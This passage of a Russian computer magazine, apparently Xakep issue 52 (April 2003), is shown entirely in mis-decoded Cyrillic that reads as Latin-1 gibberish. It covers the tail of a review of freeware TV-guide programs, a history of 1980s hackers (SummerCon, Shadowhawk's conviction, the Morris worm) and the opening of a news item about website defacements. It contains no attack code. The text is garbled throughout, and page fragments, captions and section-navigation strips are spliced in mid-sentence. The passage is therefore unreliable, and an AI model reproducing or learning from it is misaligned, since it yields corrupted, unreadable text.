Ñïðàâåäëèâîñòè ðàäè îòìå÷ó, ÷òî âîçìîæíîñòü ïðîñìîòðà<br />

àíîíñîâ åñòü è â TVGuide. Áîëåå òîãî, â ýòîé<br />

ïðîãðàììå åñòü âîçìîæíîñòü íàñòðîéêè âèäà îòîáðàæåíèÿ<br />

ïðîãðàììû ñ àíîíñîì, íî ïî÷åìó-òî â òîé ÒÂ<br />

ïðîãðàììå, êîòîðóþ ÿ ñêà÷àë, íè îäíà èç ïåðåäà÷<br />

àíîíñà íå èìåëà.<br />

<br />

Ïîìèìî îñíîâíîé çàäà÷è - ðàáîòû ñ òåëåïðîãðàììîé,<br />

â ïðîãàõ èìåþòñÿ è íåêîòîðûå äîïîëíèòåëüíûå âîçìîæíîñòè.<br />

Áåçóñëîâíûé ëèäåð ýòîãî íàïðàâëåíèÿ –<br />

TVAgent, ïîçâîëÿþùèé óòÿãèâàòü èç Ñåòè åùå êó÷ó ðàçíîé<br />

èíôîðìàöèè: êóðñû âàëþò, ôèíàíñîâûå íîâîñòè,<br />

"Ò Àãåíò": ôåíå÷êè<br />

<br />

ïðîñòî íîâîñòè, ÅÆÅpravd'ó è ò.ä. Âäîáàâîê, â âåðõíåé<br />

÷àñòè ïðîãðàììû èìååòñÿ îêîøå÷êî, â êîòîðîå âûâîäÿòñÿ<br />

âñÿêèå êîììåíòàðèè íà çëîáó äíÿ. Òàêæå â ïóíêòàõ<br />

ìåíþ "Ïîëåçíûå ññûëêè" è "Èíòåðåñíûå ññûëêè"<br />

èìååòñÿ äîâîëüíî íåïëîõàÿ ïîäáîðêà URL'îâ.<br />

Âñå òðè ïðîãðàììû îáëàäàþò õîðîøèìè ñïîñîáíîñòÿìè<br />

ïî âûâîäó ïðîãðàììû òåëåïåðåäà÷ íà ïðèíòåð.<br />

Î÷åíü óäîáíî ýòîò ìåõàíèçì ðåàëèçîâàí â TVAgent'å è<br />

"ÒÂ Ïðîãðàììå", îíè ïîçâîëÿþò âåñüìà ãèáêî íàñòðàèâàòü<br />

âíåøíèé âèä ðàñïå÷àòêè, íî â ListTV ôóíêöèÿ ïå-<br />

÷àòè ïðîñòî âûøå âñÿêèõ ïîõâàë. Âèä ðàñïå÷àòêè ìîæíî<br />

íàñòðîèòü ïðàêòè÷åñêè êàê óãîäíî.<br />

ListTV: ïå÷àòàåì òåëåïðîãðàììó<br />

Çàòî TVGuide ïîääåðæèâàåò ïëàãèíû. ß, ê ïðèìåðó, òóò<br />

æå óñòàíîâèë ñåáå ïëàãèí "MakeHTML", ÷òî â ïåðåâîäå<br />

íà âåëèêèé è ìîãó÷èé îçíà÷àåò "Ñîçäàòü HTML ñòðàíèöó",<br />

è, êàê íè ñòðàííî, îáíàðóæèë, ÷òî îí äåéñòâèòåëüíî<br />

ñîçäàåò HTML ñòðàíèöó ñ òåêóùåé ïðîãðàììîé ïåðåäà÷.<br />

Âñå ïëàãèíû äîñòóïíû èç ïóíêòà "Äîïîëíåíèÿ".<br />

À âîò â "Ò Ïðîãðàììå" åñòü òî, ÷åãî ÿ â äðóãèõ ïðîãðàììàõ<br />

íå îáíàðóæèë. ß ãîâîðþ î ñêèíàõ, ñ ïîìîùüþ<br />

êîòîðûõ òû ìîæåøü ìåíÿòü îáëèê ïðîãè. Ìåëî÷ü, à<br />

ïðèÿòíî. Íåêîòîðîå êîëè÷åñòâî ïîñòàâëÿåòñÿ âìåñòå ñ<br />

äèñòðèáóòèâîì ïðîãðàììû, à åùå íåñêîëüêî øòóê æäóò<br />

òåáÿ ïî àäðåñó http://www.top-top.ru/tvprog/skin.<br />

Ãäå íàéòè îïèñàííûå ïðîãðàììû?<br />

ListTV (722Êá, freeware)<br />

http://www.citycat.ru/tv/ListTV<br />

TVAgent (579Êá, freeware)<br />

http://www.tv-agent.net<br />

TVGuide (1300Êá, freeware)<br />

http://longsoft.raid.ru/tvguide<br />

"ÒÂ ïðîãðàììà" (2191Êá, freeware)<br />

http://www.top-top.ru/products/soft/tvprog<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 39


PC_Zone<br />

ÕÀÊÅÐÛ 80-Õ<br />

mindw0rk<br />

ÑÀÌ ÑÅÁÅ<br />

(mindw0rk@mail.ru)<br />

ÈÌÈÒÀÒÎÐ<br />

ÕÀÊÅÐÛ 80-Õ<br />

<br />

Õàêåðñêîå ñîîáùåñòâî âîñüìèäåñÿòûõ îòëè÷àëîñü âûñîêîé<br />

ñïëî÷åííîñòüþ. Íåñìîòðÿ íà îãðîìíîå êîëè÷åñòâî<br />

BBS ïî âñåìó ìèðó, â òîì ÷èñëå è ïèðàòñêèõ, ëèøü<br />

åäèíèöû ïîëüçîâàëèñü ïîïóëÿðíîñòüþ ó õàêåðîâ.<br />

PloverNet, Legion of Doom, Phoenix Project, Sherwood<br />

Forest (II/III), Osuny, Shadowland, Metal Shop, Farmers of<br />

Doom, Pirates Cove, RACS III - ëó÷øèõ ïðåäñòàâèòåëåé<br />

êîìïüþòåðíîãî àíäåãðàóíäà ñîáèðàëè èìåííî ýòè áîðäû,<br />

è îíè æå ÿâëÿëèñü â òî âðåìÿ îñíîâíûìè öåíòðàìè<br />

îáìåíà èíôîðìàöèåé. Âñå ýòè BBS’êè íàõîäèëèñü â<br />

ÑØÀ, íî èõ ïîñòîÿííî ïîñåùàëè õàêåðû íå òîëüêî èç<br />

Àìåðèêè, íî è èç Åâðîïû, è äàæå èç äàëåêîé Àâñòðàëèè.<br />

Ìíîãèå ëè÷íîñòè îáèòàëè ñðàçó íà íåñêîëüêèõ äîñêàõ (à<br />

íåêîòîðûå - è íà äåñÿòêàõ) – âåäü íà êàæäîé áîðäå áûëà<br />

ñâîÿ àòìîñôåðà, ñâîè òîïèêè. Äàæå íà ñàìîé ñåðüåçíîé<br />

BBS ïîìèìî òåõíè÷åñêèõ âîïðîñîâ îáñóæäàëèñü<br />

ñëóõè èç êîìïüþòåðíîãî ìèðà è ïðî÷èå æèçíåííûå òåìû.<br />

Óñïåâøèå ïîäðóæèòüñÿ ñâÿçûâàëèñü ïî òåëåôîíó è<br />

ïðèåçæàëè äðóã ê äðóãó â ãîñòè. Íî òàê êàê õàêåðû æèëè<br />

â ðàçíûõ ãîðîäàõ è øòàòàõ, ðèàëëàéôîâûå âñòðå÷è ïðîõîäèëè<br />

îò ñëó÷àÿ ê ñëó÷àþ. Õàêåðàì íå õâàòàëî ìåðîïðèÿòèÿ,<br />

êîòîðîå ñìîãëî áû ñîáðàòü âñåõ âìåñòå.<br />

 Ãåðìàíèè, ïðàâäà, ïðîâîäèëñÿ Chaos Communication<br />

Congress, íî îáñòàíîâêà òàì áûëà ñëèøêîì îôèöèàëüíîé.<br />

Òðåáîâàëàñü íåôîðìàëüíàÿ òóñîâêà, öåëüþ êîòîðîé<br />

áûëî áû îáùåíèå è âåñåëüå, à íå ñóõèå ëåêöèè.<br />

Ïîýòîìó, êîãäà â 1987 ãîäó â 12 íîìåðå æóðíàëà<br />

"Phrack" ïîÿâèëîñü îáúÿâëåíèå î ïåðâîé àìåðèêàíñêîé<br />

phreak/hack âñòðå÷å SummerCon, ïðèåõàòü íà íåå âûðàçèëè<br />

æåëàíèå ìíîãèå.<br />

Îðãàíèçàòîðàìè è ñïîíñîðàìè SummerCon'à âûñòóïèëè<br />

ðåäàêòîðû "Phrack" Taran King è Knight Lightning - îíè<br />

çàáðîíèðîâàëè äâà íîìåðà â îòåëå Sheraton Plaza (Ñýíò<br />

Ëüþèñ, Ìèññóðè), ïðèâåçëè íåñêîëüêî ÿùèêîâ ïèâà è<br />

ïîäãîòîâèëè êîå-êàêóþ àïïàðàòóðó. 19 èþíÿ, êîãäà âñå<br />

íà÷àëîñü, â áàíêåòíîì çàëå ñîáðàëîñü 20 èçâåñòíåé-<br />

øèõ àìåðèêàíñêèõ õàêåðîâ, â ÷èñëå êîòîðûõ áûëè: Tuc,<br />

Control C, The Leftist, Lex Luthor, Doom Prophet, Ninja<br />

NYC, Forest Ranger è äðóãèå. Íà ïðîòÿæåíèè äâóõ ñóòîê<br />

âåëèñü äåáàòû íà âñåâîçìîæíûå òåìû. Äíåì õàêåðû<br />

ïèëè ïèâî, åëè ïèööó è áåãàëè ïî âñåìó îòåëþ â ïîèñêàõ<br />

ïðèêëþ÷åíèé, íî÷üþ - âñå âìåñòå áëóæäàëè ïî ñåòè.<br />

SummerCon'87 ïðîøåë áåç íåïðèÿòíûõ ñþðïðèçîâ,<br />

àòìîñôåðà áûëà ðàññëàáëåííîé è äðóæåëþáíîé. Ïåðâûé<br />

â ñâîåì ðîäå, îí âäîõíîâèë ëþäåé íà ñîçäàíèå íîâûõ<br />

äðóæåñêèõ êîíôåðåíöèé, ÷èñëî êîòîðûõ â ìèðå<br />

ñòàëî áûñòðî ðàñòè.<br />

<br />

Captain Picard, TommydCat è Control C íà SumerCon 1993<br />

Ðîáåðò Ìîððèñ<br />

Çàêîíû Àìåðèêè äîëãîå âðåìÿ îáõîäèëè êîìïüþòåðíûå<br />

è òåëåôîííûå ïðåñòóïëåíèÿ ñòîðîíîé. Â 70-õ, â ýïîõó<br />

ïðîöâåòàíèÿ ôðèêèíãà, ïðè ëîâëå âëàäåëüöåâ áëóáîêñîâ<br />

ðóêîâîäñòâîâàëèñü ïóíêòîì î ìåëêîì ìîøåííè÷åñòâå.<br />

Ñ ïîÿâëåíèåì êîìïüþòåðîâ è<br />

ó÷àùåíèåì ñëó÷àåâ íåçàêîííîãî ïðîíèêíîâåíèÿ â ñèñòåìû,<br />

òîò æå ïóíêò, íî â áîëåå ñåðüåçíîé ôîðìå ñòàëè<br />

ïðèìåíÿòü è ê õàêåðàì. Ñóäüÿ ñàì ðåøàë, íàñêîëüêî<br />

îïàñíûì äëÿ îáùåñòâà ÿâëÿåòñÿ êîìïüþòåðíûé âçëîì<br />

è, ðóêîâîäñòâóÿñü ñâîèì ñîáñòâåííûì ìíåíèåì, âûíîñèë<br />

ïðèãîâîð. Ïîíÿòíîå äåëî, "èõ ÷åñòü" áûëè äàëåêè<br />

îò âñåõ ýòèõ òåõíè÷åñêèõ íþàíñîâ. È ýòî ÷àùå âñåãî èãðàëî<br />

íà ðóêó âçëîìùèêàì.<br />

2 îêòÿáðÿ 1986 ã. Ñåíàò ÑØÀ ïîäïèñàë íîâûé çàêîí<br />

"Computer Fraud and Abuse Act", â êîòîðîì ïîäðîáíî<br />

îáúÿñíÿëîñü, êàêèå êàðû æäóò õàêåðîâ çà ìàëåéøèé<br />

ïðîñòóïîê. Â çàâèñèìîñòè îò ñòåïåíè òÿæåñòè ïðåñòóïëåíèÿ<br />

ïðèãîâîð ìîã äîñòèãàòü $500000 øòðàôà è 20<br />

ëåò òþðåìíîãî çàêëþ÷åíèÿ. Îñîáî ñåðüåçíûìè ñ÷èòàëèñü<br />

ïðîíèêíîâåíèå è õèùåíèå, à òåì áîëåå - óíè÷òîæåíèå<br />

èíôîðìàöèè ñ ñåêðåòíûõ ïðàâèòåëüñòâåííûõ<br />

êîìïüþòåðîâ. Åñëè õàêåð ïî íåîñòîðîæíîñòè íàíîñèë<br />

êîìïàíèè óùåðá íà ñóììó, ïðåâûøàþùóþ òûñÿ÷ó äîëëàðîâ<br />

(óùåðá ïîäñ÷èòûâàëà êîìïàíèÿ), îí àâòîìàòè÷åñêè<br />

ïîïàäàë â êàòåãîðèþ "äî $250 òûñ. è 5 ëåò òþðü-<br />

ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

ÐÎÆÄÅÍÈÅ ×ÅÐÂß<br />

Crimson Death íà SummerCon 1992<br />

ìû". Äàæå åäèíè÷íîå ïðîíèêíîâåíèå â ÷óæîé êîìïüþòåð<br />

èëè èñïîëüçîâàíèå ÷óæèõ ïàðîëåé ñîãëàñíî ýòîìó<br />

çàêîíó äåëàëî ÷åëîâåêà ïðåñòóïíèêîì.<br />

Ïåðâûì õàêåðîì, êîòîðîãî îñóäèëè â ñîîòâåòñòâèè ñ<br />

íîâûì çàêîíîì, ñòàë Ãåðáåðò Çèí, èçâåñòíûé â ñåòè<br />

êàê Shadowhawk. Â 1986 ã. îí ïîëíîñòüþ çàáðîñèë<br />

øêîëó è îêóíóëñÿ â ñåòåâîé ìèð. Ñî ñâîåé äîìàøíåé<br />

ïåðñîíàëêè Çèí ìíîãî ðàç ïðîíèêàë íà êîìïüþòåðû<br />

ðàçíûõ ôèëèàëîâ êîðïîðàöèè AT&T è Ìèíèñòåðñòâà<br />

îáîðîíû ÑØÀ. Áîëåå äâóõ ëåò äåéñòâèÿ 16-ëåòíåãî<br />

âçëîìùèêà îñòàâàëèñü íåçàìå÷åííûìè. Ïîäâåë åãî<br />

äëèííûé ÿçûê. Ïîñëå ñâîèõ ïîõîæäåíèé Shadowhawk<br />

ëþáèë çàéòè íà îäíó èç àíäåãðàóíäîâûõ BBS ïîõâàñòàòüñÿ<br />

óñïåõîì ïåðåä êîëëåãàìè. Îäíàæäû îí îñòàâèë<br />

ñîîáùåíèå íà áîðäå, ãäå ïîñòîÿííûìè ÷èòàòåëÿìè ñëó-<br />

÷àéíî îêàçàëèñü ñîòðóäíèêè AT&T. Ãåðáåðò ñîîáùèë íà<br />

ôîðóìå, ÷òî îñòàâèë â êîìïüþòåðíîé ñèñòåìå êîðïîðàöèè<br />

ëîâóøêó, êîòîðàÿ ïîçâîëèò åìó óçíàòü ïàðîëè àäìèíèñòðàòîðîâ.<br />

Ïåðñîíàë ñðàáîòàë áûñòðî - äîæäàâøèñü,<br />

êîãäà õàêåð çàëîãèíèòñÿ, îíè çàñòàâèëè åãî êàê<br />

ìîæíî äîëüøå ïðîäåðæàòüñÿ íà ëèíèè, è ñ ïîìîùüþ<br />

ïîëèöèè ïðîñëåäèëè çâîíîê.<br />

Íà ñóäå Shadowhawk'ó ïðèïèñàëè óùåðá êîìïàíèè â<br />

ðàçìåðå $174 òûñ., íåëåãàëüíîå êîïèðîâàíèå ïðîãðàìì<br />

íà ñóììó áîëåå ìèëëèîíà äîëëàðîâ è ðàñïðîñòðàíåíèå<br />

â ïóáëè÷íûõ ìåñòàõ (BBS) êîíôèäåíöèàëüíîé èíôîðìàöèè<br />

(ïàðîëè, ðóêîâîäñòâà ïî âçëîìó ñèñòåìû). Ïîòðÿñåííûé<br />

öèôðàìè, hawk ñêàçàë: "ß íå ñîáèðàëñÿ ïðîäàâàòü<br />

ýòè ïðîãðàììû è íè÷åãî íå óäàëÿë. ß ïðîñòî õîòåë<br />

ïðèîáðåñòè íîâûå çíàíèÿ". Íî íîâûé çàêîí óæå âñòóïèë<br />

â ñèëó è ñèäåë áû õàêåð äî ñèõ ïîð, åñëè áû íå ñîãëàñèëñÿ<br />

ñîòðóäíè÷àòü ñ ïðàâèòåëüñòâîì. Îáåùàíèå ïîìîãàòü<br />

âëàñòÿì ñâîåé êîìïüþòåðíîé êâàëèôèêàöèåé ñìÿã-<br />

÷èëî ïðèãîâîð, íî ïàðíþ ïðèøëîñü-òàêè âûïëàòèòü AT&T<br />

10 òûñÿ÷ áàêñîâ è îòñèäåòü 9 ìåñÿöåâ. Shadowhawk ñòàë<br />

ïåðâûì, êòî îùóòèë íà ñåáå íîâóþ ïîïðàâêó â àìåðèêàíñêîì<br />

çàêîíîäàòåëüñòâå. Ïåðâûì, íî äàëåêî íå ïîñëåäíèì.<br />

Äî ãëîáàëüíîé îïåðàöèè ïî îòëîâó êîìïüþòåðíûõ<br />

âçëîìùèêîâ îñòàâàëîñü ñîâñåì íåäîëãî…<br />

40 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


 íà÷àëå 80-õ â àìåðèêàíñêîì èññëåäîâàòåëüñêîì öåíòðå<br />

Xerox äâîå ó÷åíûõ - Èàí Õåï è Äæîíàòàí Øîê, íà÷àëè<br />

ýêñïåðèìåíòèðîâàòü ñ ïðîãðàììàìè, ñïîñîáíûìè<br />

àâòîíîìíî ðàñïðîñòðàíÿòüñÿ â ñåòè. Äî íèõ ýòèì íèêòî<br />

íå çàíèìàëñÿ, è àâòîðû, áóäó÷è ïèîíåðàìè, îêðåñòèëè<br />

ñâîèõ ïåðâûõ ïèòîìöåâ êîìïüþòåðíûìè ÷åðâÿìè (â<br />

÷åñòü ñîáûòèé èç êíèãè Äæîíà Áðàííåðà "Shockwave<br />

Rider").  ñêîðîì âðåìåíè ó÷åíûì ñòàëî ÿñíî, ÷òî ñàìîïðîèçâîëüíî<br />

ðàñïðîñòðàíÿþùèåñÿ ïðîãðàììû ìîãóò<br />

ïðåäñòàâëÿòü ñåðüåçíóþ îïàñíîñòü, îñîáåííî åñëè êðîìå<br />

«èíñòèíêòà ðàçìíîæåíèÿ» îíè áóäóò íàäåëåíû êàêèìè-ëèáî<br />

äåñòðóêòèâíûìè ôóíêöèÿìè. È ñ ðîñòîì<br />

ARPAnet è ïîäêëþ÷åíèåì ê íåé âñå áîëüøåãî êîëè÷åñòâà<br />

îðãàíèçàöèé ýòà îïàñíîñòü ëèøü âîçðàñòàåò! Õåï,<br />

Øîê è ìíîãèå äðóãèå êîìïüþòåðíûå ñïåöèàëèñòû,<br />

îáåñïîêîåííûå ýòîé ïðîáëåìîé, íà ôîðóìàõ Usenet'à<br />

ïîñòîÿííî îáñóæäàëè òåîðåòè÷åñêèå âîçìîæíîñòè ÷åðâåé<br />

è ñïîñîáû ïðåäîòâðàòèòü áåäó. Â ñðåäó 2 íîÿáðÿ<br />

1988 ãîäà âñå îíè ïîëó÷èëè âîçìîæíîñòü ïðîâåðèòü<br />

ïðàâèëüíîñòü ñâîèõ ðàññóæäåíèé íà ïðàêòèêå.<br />

 ýòîò äåíü êîìïüþòåðíàÿ ñåòü ARPAnet ïîäâåðãëàñü íåâèäàííîãî<br />

ðàçìàõà àòàêå.  òå÷åíèå âñåãî íåñêîëüêèõ ÷àñîâ<br />

íåèçâåñòíàÿ ïðîãðàììà ïàðàëèçîâàëà ðàáîòó áîëåå 6<br />

òûñÿ÷ êîìïüþòåðîâ. Ñðåäè æåðòâ îêàçàëèñü ïðàêòè÷åñêè<br />

âñå èññëåäîâàòåëüñêèå èíñòèòóòû, ìíîãèå âîåííûå è<br />

ïðàâèòåëüñòâåííûå îðãàíèçàöèè, íàó÷íûå ëàáîðàòîðèè è<br />

íåêîòîðûå êîììåð÷åñêèå êîìïàíèè. Ïðè÷èíîé ñòàë êîìïüþòåðíûé<br />

÷åðâü, ðàñïðîñòðàíÿþùèéñÿ ñ ìîëíèåíîñíîé<br />

ñêîðîñòüþ è ïåðåãðóæàþùèé ñâîèìè êîïèÿìè âñå êîìïüþòåðû,<br />

äî êîòîðûõ åìó óäàâàëîñü äîáðàòüñÿ. Äëÿ ïðîíèêíîâåíèÿ<br />

â íîâóþ ñèñòåìó ïðîãðàììà èñïîëüçîâàëà<br />

îøèáêè â òàêèõ ñëóæáàõ, êàê finger è sendmail.<br />

×åðâü ñòàðòîâàë èç Ëàáîðàòîðèè Èñêóññòâåííîãî Èíòåëëåêòà<br />

ÌÈÒ âå÷åðîì è ê óòðó óñïåë ðàçîéòèñü ïðàêòè÷åñêè<br />

ïî âñåì êëþ÷åâûì óçëàì ARPAnet. Áëàãîäàðÿ Êåéòó<br />

Áîñòèêó - ñïåöèàëèñòó ïî êîìïüþòåðíîé áåçîïàñíîñòè -<br />

óæå íà ñëåäóþùèé äåíü â ñåòè ïîÿâèëàñü çàïëàòêà äëÿ<br />

sendmail. Íî ÷òîáû ïîëíîñòüþ íåéòðàëèçîâàòü ÷åðâÿ è<br />

óçíàòü, ÷åãî îò íåãî ìîæíî îæèäàòü, íåîáõîäèìî áûëî<br />

äèçàññåìáëèðîâàòü åãî êîä. Äëÿ ýòîãî èç ðàçíûõ êîíöîâ<br />

ñòðàíû â èíñòèòóò Áåðêëè áûëè ïðèãëàøåíû ñàìûå ãåíèàëüíûå<br />

êîìïüþòåðíûå óìû Àìåðèêè. Ïàðàëëåëüíî ñ<br />

íèìè â äðóãèõ èíñòèòóòàõ íàä ýòîé çàäà÷åé ðàáîòàëè<br />

äðóãèå êîìàíäû. Ïîëó÷åííûé ÷åðåç íåêîòîðîå âðåìÿ<br />

èñõîäíèê ïîêàçàë, ÷òî ÷åðâü íå âêëþ÷àë âðåäîíîñíûõ<br />

ôóíêöèé. Îí íå ñòèðàë ôàéë, â íåì íå áûëî ëîãè÷åñêîé<br />

áîìáû, íî îí ïîñòîÿííî êîïèðîâàë ñàì ñåáÿ, ÷òî ïðèâîäèëî<br />

ê ïîëíîìó èñ÷åðïàíèþ ñèñòåìíûõ ðåñóðñîâ çàðàæåííîãî<br />

êîìïüþòåðà. Ïåðåçàãðóçêà íå ïîìîãàëà - ìàøèíà<br />

çàâèñàëà êàæäûå ïÿòü ìèíóò. Óæå êîãäà âûøëà<br />

âàêöèíà ïðîòèâ ýòîé çàðàçû, ìèð óçíàë èìÿ åå àâòîðà.<br />

Èì îêàçàëñÿ Ðîáåðò Òàïïàí Ìîððèñ - 24-ëåòíèé ñòóäåíò<br />

Êîðíåëüñêîãî Èíñòèòóòà, ñûí êîìïüþòåðíîãî ýêñïåðòà<br />

èç Àãåíòñòâà íàöèîíàëüíîé áåçîïàñíîñòè.<br />

<br />

Îò ïðèðîäû èíòåëëåêòóàëüíî îäàðåííûé Ðîáåðò ñ ðàííèõ<br />

ëåò óâëåêñÿ êîìïüþòåðàìè. Áëàãîäàðÿ äîëæíîñòè<br />

ñâîåãî îòöà îí èìåë äîñòóï ê ìîùíûì ìåéíôðåéìàì è<br />

Control C íà SummerCon 1993<br />

÷àñòåíüêî íàâåäûâàëñÿ ê Ìîððèñó-ñòàðøåìó íà ðàáîòó,<br />

÷òîáû ïîíàæèìàòü íà êíîïêè. Ðîáåðò íà ãîëîâó îïåðåæàë<br />

âñåõ ñâîèõ îäíîêëàññíèêîâ, ó÷åáà åìó êàçàëîñü<br />

ñêó÷íîé, ïîýòîìó ñâîáîäíîå âðåìÿ îí ëþáèë ïðîâîäèòü<br />

ó ýêðàíà ìîíèòîðà, çàíèìàÿñü ïðîãðàììèðîâàíèåì.<br />

Êîìïüþòåðû íà ðàáîòå îòöà áûëè ïîäêëþ÷åíû ê<br />

ARPAnet, áëàãîäàðÿ ýòîìó Ðîá ïåðåçíàêîìèëñÿ ñî âñåìè<br />

äåòüìè äðóãèõ ñîòðóäíèêîâ êîìïàíèè. Ìíîãèå èç<br />

íèõ òîæå óâëåêàëèñü ïðîãðàììèðîâàíèåì è ïèñàëè íåáîëüøèå<br />

èãðóøêè. Ìîððèñ áûñòðî ñòàë ñðåäè íèõ çâåçäîé.<br />

Åãî ïðîãðàììû âñåãäà îòëè÷àëèñü áëåñòÿùèì êîäîì<br />

è îðèãèíàëüíûìè èäåÿìè. Ñ âîçðàñòîì Ðîáåðòà<br />

âñå áîëüøå ñòàëà èíòåðåñîâàòü êîìïüþòåðíàÿ áåçîïàñíîñòü<br />

è îïåðàöèîííûå ñèñòåìû. Â 18 ëåò îí óæå äîñêîíàëüíî<br />

çíàë UNIX è ÷óòü ëè íå íàèçóñòü ïîìíèë 2000ñòðàíè÷íîå<br />

ðóêîâîäñòâî ê ýòîé ÎÑ. Ìíîãèå àäìèíèñòðàòîðû<br />

â Êîðíåëüñêîì óíèâåðñèòåòå, êóäà ïîñòóïèë ïàðåíåê,<br />

êîíñóëüòèðîâàëèñü ñ íèì ïî âñåì òåõíè÷åñêèì<br />

âîïðîñàì, â êîìïüþòåðíûõ êðóãàõ Ðîáåðò èìåë áåçîãîâîðî÷íûé<br />

àâòîðèòåò.<br />

Èäåÿ íàïèñàòü ÷åðâÿ ïðèøëà ìîëîäîìó ïðîãðàììèñòó<br />

âî âðåìÿ ÷òåíèÿ êîíôåðåíöèé Usenet, ãäå àäìèíèñòðàòîðû<br />

ñ ýíòóçèàçìîì îáñóæäàëè âîçìîæíîñòè è ïîñëåäñòâèÿ<br />

êîìïüþòåðíûõ âèðóñîâ. Òåìà Ðîáåðòó Ìîððèñó<br />

ïîêàçàëàñü èíòåðåñíîé. Íåçàäîëãî äî ýòîãî îí êàê ðàç<br />

íàøåë íîâûé áàã â ñèñòåìå Unix, èñïîëüçóÿ êîòîðûé<br />

åãî ÷åðâü ìîã áû ïðîáèðàòüñÿ íà ÷óæèå ìàøèíû. Ïðîåêò<br />

çàäóìûâàëñÿ â ýêñïåðèìåíòàëüíûõ öåëÿõ - Ðîáåðòó<br />

õîòåëîñü ïîñìîòðåòü, íàñêîëüêî æèâó÷èì îêàæåòñÿ åãî<br />

äåòèùå. Ïðîãðàììà, íàïèñàííàÿ âñåãî çà ìåñÿö, èñïîëüçîâàëà<br />

3 ðàçíûõ ñïîñîáà ïðîíèêíîâåíèÿ â ñèñòåìó<br />

è èìåëà îðèãèíàëüíûé àëãîðèòì ðàñïðîñòðàíåíèÿ -<br />

ïðîâåðÿëà óæå èìåþùóþñÿ íà êîìïüþòåðå ñâîþ êîïèþ<br />

è ñëó÷àéíûì îáðàçîì âûáèðàëà, îñòàâèòü åå èëè ïåðåçàïèñàòü<br />

(÷òîáû àäìèíèñòðàòîðû íå ìîãëè ëåãêî îñòàíîâèòü<br />

åå, âñòàâèâ ôåéêîâóþ êîïèþ ÷åðâÿ). Ñ îïðåäåëåííîé<br />

ïåðèîäè÷íîñòüþ ÷åðâü äîëæåí áûë â ëþáîì<br />

ñëó÷àå ïåðåçàïèñàòü êîïèþ. Îøèáî÷íî ìàëåíüêîå ÷èñëî,<br />

êîòîðîå ââåë Ðîáåðò, ÷òîáû îáîçíà÷èòü ýòó ïåðèîäè÷íîñòü,<br />

âî ìíîãîì ïîâëèÿëî íà âñþ åãî äàëüíåéøóþ<br />

æèçíü è çàñòàâèëî îáùåñòâåííîñòü âñåðüåç çàäóìàòüñÿ<br />

î ïðîáëåìå êîìïüþòåðíîé áåçîïàñíîñòè. Âìåñòî íåçàìåòíîãî<br />

áëóæäàíèÿ ïî ARPAnet, ÷åðâü óðàãàíîì ïðîíåññÿ<br />

ïî âñåì êîìïüþòåðàì è íà íåñêîëüêî ÷àñîâ âûðóáèë<br />

áîëüøóþ ÷àñòü ìàøèí â ñåòè.<br />

Ïîäñ÷èòàííûé âïîñëåäñòâèè óùåðá îò ÷åðâÿ Ìîððèñà<br />

îöåíèâàëñÿ â 100 ìèëëèîíîâ äîëëàðîâ. Ðîáåðò õîðîøî<br />

çàêîíñïèðèðîâàë ñâîþ ïðîãðàììó, è âðÿä ëè êòî-òî<br />

ñìîã áû äîêàçàòü åãî ïðè÷àñòíîñòü, åñëè áû íå îòåö,<br />

ïîñ÷èòàâøèé, ÷òî ñûíó ëó÷øå ñàìîìó ñîçíàòüñÿ â ñîäåÿííîì.<br />

Íà ñóäå, êîòîðûé ñîñòîÿëñÿ âñêîðå ïîñëå<br />

ýòîãî, Ðîáåðòó äî ïîñëåäíåé ìèíóòû ãðîçèëî ïÿòü ëåò<br />

òþðüìû è øòðàô ðàçìåðîì 250 òûñÿ÷ äîëëàðîâ. Íî<br />

ââèäó ñìÿã÷àþùèõ îáñòîÿòåëüñòâ, ñëó÷àéíîñòè ïðîèñøåäøåãî<br />

è ðåïóòàöèè áåçîáèäíîãî è ñêðîìíîãî ÷åëîâåêà,<br />

îí ïîëó÷èë òðè ãîäà óñëîâíî, 10 òûñÿ÷ äîëëàðîâ<br />

øòðàôà è 400 ÷àñîâ îáùåñòâåííûõ ðàáîò. À òàêæå ìèðîâóþ<br />

èçâåñòíîñòü, íå îñòàâëÿþùóþ åãî äî ñèõ ïîð.<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8


][ NEWS<br />

mindw0rk<br />

Âçëîì<br />

ÂÅËÈÊÎÃÎ ÃÓÐÓ ÕÝÊÊÈÍÃÀ ÏÎÄÑÒÀÂÈËÈ?<br />

Ïîïóëÿðíîñòü ïàòðèàðõà âñåðîññèéñêîãî õýêêåðñòâà Àðâè âçëåòåëà äî íåáåñ<br />

ïîñëå ñåðèè äåôåéñîâ ñàéòîâ: www.lamoz.biz, www.hackstaff.org,<br />

www.adminii.org, www.xakeps.org, www.ugin.ru è ìíîãîñòðàäàëüíîãî<br />

www.riaa.org. Ôðàçà "defaced by Arvi the Hacker" â âûëåòàþùåì îêîøêå ÿâíî<br />

óêàçûâàëà íà âñåì èçâåñòíîãî ãóðó. Â ñâÿçè ñ ýòèì â ôèäî è èíåòå äîëãî øëè<br />

äèñêóññèè: "Êàê, ìîë, òàê, êîäåêñ ÷åñòè è ðåëèãèÿ ïðåïîäîáíîãî íå ïîçâîëÿþò<br />

åìó çàíèìàòüñÿ ñòîëü ãíóñíûì äåëîì. À òóò âäðóã òàêîå". Ê òîìó æå íèêòî óæå<br />

è íå íàäåÿëñÿ, ÷òî Àðâè ñïîñîáåí íà ÷òî-òî áîëüøåå, ÷åì íàïèñàòü íà ïàñêàëå<br />

òðåòüåñîðòíûé òåòðèñ è ãëóáîêîìûñëåííî ðàññóæäàòü î õýêêåðñêîé ôèëîñîôèè.<br />

Äóìàëè, ãàäàëè, ïåðåìàëûâàëè êîñòî÷êè, à ïîòîì âäðóã êòî-òî ñîîáðàçèë:<br />

"Ïàðíè, äûê âåäü ýòà, íå èíà÷å êàê ïîäñòàâèëè åãî!". Äà, òî÷íî - ïîäõâàòèëî<br />

äâèæåíèå - íå îí, êóäà åìó. Ëèøü íåêîòîðîå âðåìÿ ñïóñòÿ â ýõîêîíôåðåíöèè<br />

Ru.Hacker.Dummy ïîÿâèëîñü ïèñüìî, àâòîð êîòîðîãî - Áîíàëüíûé Âåðòîëåò (â<br />

ïðîñòîíàðîäüå - buggzy) - øàðêàÿ íîæêîé, ñêðîìíî ïðèçíàëñÿ: "Äà ëàäíî, ìóæèêè,<br />

